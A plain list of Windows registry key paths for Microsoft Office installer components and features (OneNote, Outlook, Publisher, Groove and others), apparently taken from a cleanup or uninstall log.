HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6635176C7AA317E44ACB2ABD3CDC83E7\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\12A5B079A5B29604CACF62DC0D419D17
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\12A5B079A5B29604CACF62DC0D419D17\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A936D2572A51F0F41AD455E830A4C902
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A936D2572A51F0F41AD455E830A4C902\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E87D8AF9A4B832D4E994A7FD08BCC9E0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E87D8AF9A4B832D4E994A7FD08BCC9E0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D205B04831798F5479FD8467C3217E1E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D205B04831798F5479FD8467C3217E1E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7E569675EFDB1D5468BDD6E2C9D55E96
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7E569675EFDB1D5468BDD6E2C9D55E96\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D626EA727161D6149BCF38D2118F84A6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D626EA727161D6149BCF38D2118F84A6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A8FE9BB495568D14D935C1AAB6130F21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A8FE9BB495568D14D935C1AAB6130F21\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E5662AAC3C25DB146AAC19A85ACE43E9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E5662AAC3C25DB146AAC19A85ACE43E9\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7447602EBFB5BFB4DA7CC05A2ED92DA2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7447602EBFB5BFB4DA7CC05A2ED92DA2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D9400E9CC46F86043B917C3974986465
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D9400E9CC46F86043B917C3974986465\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E888D83CDACAC6143B7BBA6D65C2F503
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E888D83CDACAC6143B7BBA6D65C2F503\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\XDOCSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\XDOCSFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B94A7B5299C774043899E794CED30574
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B94A7B5299C774043899E794CED30574\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D715C75D1DC7BEA47AB3AB7794E31B52
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D715C75D1DC7BEA47AB3AB7794E31B52\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A606E58BDC0E27D4B8B54D2B6CEF90D2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A606E58BDC0E27D4B8B54D2B6CEF90D2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DB34A05395350CA4B88BD638E6043971
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DB34A05395350CA4B88BD638E6043971\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6904D46C60240B045AE30469DA8A9D3A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6904D46C60240B045AE30469DA8A9D3A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\26C8983E3CE619441849C988DA174686
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\26C8983E3CE619441849C988DA174686\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D90AA75351207547B43086856BCA65A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D90AA75351207547B43086856BCA65A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0CAF1010253A07940A6C2D2C1565D033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0CAF1010253A07940A6C2D2C1565D033\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\695C9C2691EB6B44A94AC05E8D6B18CF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\695C9C2691EB6B44A94AC05E8D6B18CF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47429B03E1CCC024594CE82804EB5FCE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47429B03E1CCC024594CE82804EB5FCE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5C7A0C004D9021E478A8F00E9B37CDCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5C7A0C004D9021E478A8F00E9B37CDCA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OneNoteFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OneNoteFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\798C8F26953DF8D46995FCE1E9E3B647
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\798C8F26953DF8D46995FCE1E9E3B647\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1982085E3AB56B140A3827AF84FFA8CD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1982085E3AB56B140A3827AF84FFA8CD\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5E560759C3F5B1348B1617CA987A1381
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5E560759C3F5B1348B1617CA987A1381\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9ECA35218B70DA142A2D4916318EDA29
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9ECA35218B70DA142A2D4916318EDA29\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9F5FAA0D36CC11B4BAC899501E2B906D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9F5FAA0D36CC11B4BAC899501E2B906D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F175CF4803FEBE4CBF117E59186DF5E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F175CF4803FEBE4CBF117E59186DF5E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DCDA62B963C46924FAEFC7AB0374DC1B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DCDA62B963C46924FAEFC7AB0374DC1B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7C062B2CD949BCB45927993A3FA9E4A5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7C062B2CD949BCB45927993A3FA9E4A5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4821C69D85691B240B4C7689CF990C62
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4821C69D85691B240B4C7689CF990C62\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7C6F00615A04BCB46900B7E1BC2253AB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7C6F00615A04BCB46900B7E1BC2253AB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5564B58E1AFD50B44AED6BBDF90706CE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5564B58E1AFD50B44AED6BBDF90706CE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0283E042C21402145B5FA1646BBB1592
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0283E042C21402145B5FA1646BBB1592\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\59ABA340D3F15A947A14E3A25A3AA2D8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\59ABA340D3F15A947A14E3A25A3AA2D8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\104ECBD48FB74DF44BBBB7E0FBCA89D2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\104ECBD48FB74DF44BBBB7E0FBCA89D2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EBA3C661A40CB824AADBB36C1267F168
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EBA3C661A40CB824AADBB36C1267F168\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D796CAC860006574ABA4F35848DC97CD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D796CAC860006574ABA4F35848DC97CD\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4AE20C00B4A58A0409ADB4C3D7B04B44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4AE20C00B4A58A0409ADB4C3D7B04B44\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OUTLOOKFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OUTLOOKFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8DD31FFC2FE6BE942B563EFB6C05C1D1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8DD31FFC2FE6BE942B563EFB6C05C1D1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\615AE87BB986D3A468E954D0537274EA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\615AE87BB986D3A468E954D0537274EA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4F0828882F99FA94587A431791A7B8E8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4F0828882F99FA94587A431791A7B8E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\92B2C0607259A3143AF8B797E84389D9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\92B2C0607259A3143AF8B797E84389D9\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\11CE927703D0DA84181FB694E3BA06FF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\11CE927703D0DA84181FB694E3BA06FF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\856C8A14768638249AD1D8D0923B5203
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\856C8A14768638249AD1D8D0923B5203\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EEEE87AA3BFEBCF409DEE7180EED8A83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EEEE87AA3BFEBCF409DEE7180EED8A83\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BBB21EA0C8BA4A44E87A4C8369CAA6BE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BBB21EA0C8BA4A44E87A4C8369CAA6BE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A7F78BF47A0C69A40AD928BD7E022C5E
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A7F78BF47A0C69A40AD928BD7E022C5E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47510E0B2F85BAB468FE70E7CA35138D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\47510E0B2F85BAB468FE70E7CA35138D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D1D746BE14ECD449B5C8C9520290487
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D1D746BE14ECD449B5C8C9520290487\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\32219D6E447B66049B6F1181D17C4B58
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\32219D6E447B66049B6F1181D17C4B58\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\059BB30391E30EE448A436F1CD4764AF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\059BB30391E30EE448A436F1CD4764AF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8DAB761F8C7AA3342902F14B513257A0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8DAB761F8C7AA3342902F14B513257A0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F6EA893ACFEF06C4FB229D869E586440
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F6EA893ACFEF06C4FB229D869E586440\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\PubPrimary
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\PubPrimary
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\92B7D0DC7E985C94E81ED558E8FF5239
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\92B7D0DC7E985C94E81ED558E8FF5239\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3EE271A4605B27746952D10D23185B86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3EE271A4605B27746952D10D23185B86\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1FC84038432ED25479C333AF44F339EF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1FC84038432ED25479C333AF44F339EF\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E220034CE2DA093448DF191E1E91E4A1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E220034CE2DA093448DF191E1E91E4A1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49CDC33CE28739A4CA66DBE1A3CA48D7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49CDC33CE28739A4CA66DBE1A3CA48D7\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B01ACADFA4B84FC4FA2A2EBEF3702C02
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B01ACADFA4B84FC4FA2A2EBEF3702C02\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\GrooveFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\GrooveFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\198B04717E873AC47B62DA0307073629
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\198B04717E873AC47B62DA0307073629\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2A3522D9621824542BE9201B6F2DDC9F
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2A3522D9621824542BE9201B6F2DDC9F\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D3BA26C0F3BC5354ABD068CB040BD456
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D3BA26C0F3BC5354ABD068CB040BD456\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\405D828161D13004F84FAD265C49564B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\405D828161D13004F84FAD265C49564B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87576EFEB25EE0141987991144D3FBA5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87576EFEB25EE0141987991144D3FBA5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\40831BFF879672848BC2669E8847CFB3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\40831BFF879672848BC2669E8847CFB3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4BA9F1741166CD247A924875B1A7BA56
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4BA9F1741166CD247A924875B1A7BA56\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\753C36EE30790214DA993402CF956905
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\753C36EE30790214DA993402CF956905\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3ED3E59BE98AFEF42AEAB8C97DDCD4DC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3ED3E59BE98AFEF42AEAB8C97DDCD4DC\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\822B9D4296B1C8D4597518BA6424D1A1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\822B9D4296B1C8D4597518BA6424D1A1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\14CA65566A4DD58408504CB830B38CAB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\14CA65566A4DD58408504CB830B38CAB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\879547814B54ECC4690F9B725FD47654
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\879547814B54ECC4690F9B725FD47654\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F952D64B3DEF19A4FAD38302B6CA4660
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F952D64B3DEF19A4FAD38302B6CA4660\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8ADD6CD0F820EFD42B8ADBD2CCD15EC3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8ADD6CD0F820EFD42B8ADBD2CCD15EC3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B456E77BA1B8626488B440A8AF2555A3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B456E77BA1B8626488B440A8AF2555A3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\416B68731BF92B2499F636B3553A0D3C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\416B68731BF92B2499F636B3553A0D3C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\999C517B849EA20439615E51AA3AE656
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\999C517B849EA20439615E51AA3AE656\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E59338F6EAFB0A94093FEB8E7FF7A7A5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E59338F6EAFB0A94093FEB8E7FF7A7A5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\96DF167C86EA0ED4496BD5B6C3E9360D
